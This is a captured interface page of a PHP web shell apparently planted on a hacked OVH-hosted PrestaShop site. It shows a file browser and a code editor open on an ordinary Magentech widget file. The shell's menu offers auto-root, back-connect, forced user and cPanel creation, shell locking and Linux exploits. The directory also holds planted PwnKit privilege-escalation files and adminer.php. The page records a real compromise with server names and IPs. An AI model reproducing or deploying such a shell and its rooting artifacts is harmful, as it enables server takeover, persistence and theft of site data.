Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.104
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
modules /
spelements /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
Cache
[ DIR ]
drwx---r-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Install
[ DIR ]
drwx---r-x
.mad-root
0
B
-rw-r--r--
WidgetCache.php
446
B
-rw----r--
WidgetCategoryBase.php
2.39
KB
-rw----r--
WidgetHelper.php
3.94
KB
-rw----r--
WidgetProductBase.php
14.85
KB
-rw----r--
WidgetTemplate.php
1.76
KB
-rw----r--
WidgetViewBase.php
32.68
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : WidgetHelper.php
<?php /** * Magentech Widgets * * @package Magentech * @version 1.0.0 * @author Magentech.Com * @copyright Copyright Ⓒ Since 2011 magentech.Com <@email:support@magentech.Com> * @license You only can use the module, nothing more! */ namespace Magentech\Module\Spelements; use Context; class WidgetHelper extends \ModuleFrontController { public static function isCarousel($settings) { if ($settings['mode'] != 'sp-carousel' || !is_array($settings['items']) || empty($settings['items']) || !isset($settings['slides_to_show'])) { return false; } if (count($settings['items']) <= $settings['slides_to_show']) { return false; } return true; } public static function isTabCarousel(array $settings, string $items_number) { if (!isset($settings['tab_mode'])) { return false; } if ($settings['tab_mode'] != 'sp-tab-carousel' || !isset($settings['slides_to_show'])) { return false; } if ($items_number <= $settings['slides_to_show']) { return false; } return true; } public static function getMode(array $settings) { if ($settings['mode'] == 'sp-grid' || $settings['mode'] == 'sp-isotope' || $settings['mode'] == 'sp-tabs') { return $settings['mode']; } if ($settings['mode'] == 'sp-carousel') { if (!$settings['is_carousel']) { return 'sp-grid'; } $carousel_classes = ['elementor-image-carousel']; if ($settings['show_arrows_wh']) { $carousel_classes[] = 'slick-arrows-' . $settings['arrows_position']; } return 'sp-ce-carousel '.implode(' ', $carousel_classes); } return ''; } public static function getCarouselOptions(array $settings) { $default_settings = [ 'slides_to_show' => 5, 'direction' => 'ltr', 'navigation' => 'arrows', 'mode' => 'sp-grid', 'autoplay_speed' => 500, 'autoplay' => 1, 'infinite' => 1, 'pause_on_hover' => 1, 'speed1' => 5000 ]; $settings = array_merge($default_settings, $settings); $is_slideshow = '1' === $settings['slides_to_show']; $is_rtl = 'rtl' === $settings['direction']; $direction = $is_rtl ? 'rtl' : 'ltr'; $settings['show_dots_wh'] = in_array($settings['navigation'], ['dots', 'both']); $settings['show_arrows_wh'] = in_array($settings['navigation'], ['arrows', 'both']); $settings['is_carousel'] = self::isCarousel($settings); $params = []; $params['is_carousel'] = $settings['is_carousel']; $params['mode_class'] = self::getMode($settings); $params['slick_options'] = [ 'slidesToShow' => empty($settings['slides_to_show']) ? 4 : abs((int)$settings['slides_to_show']), 'slidesToShowTablet' => empty($settings['slides_to_show_tablet']) ? 3 : abs((int)$settings['slides_to_show_tablet']), 'slidesToShowMobile' => empty($settings['slides_to_show_mobile']) ? 1 : abs((int)$settings['slides_to_show_mobile']), 'autoplaySpeed' => abs((int)$settings['autoplay_speed']), 'autoplay' => ('yes' === $settings['autoplay']), 'infinite' => ('yes' === $settings['infinite']), 'pauseOnHover' => ('yes' === $settings['pause_on_hover']), 'speed' => abs((int)$settings['speed1']), 'arrows' => $settings['show_arrows_wh'], 'dots' => $settings['show_dots_wh'], 'rtl' => $is_rtl, ]; $params['slick_options_string'] = json_encode($params['slick_options']); return $params; } public static function getTrans() { return Context::getContext()->getTranslator(); } }
Close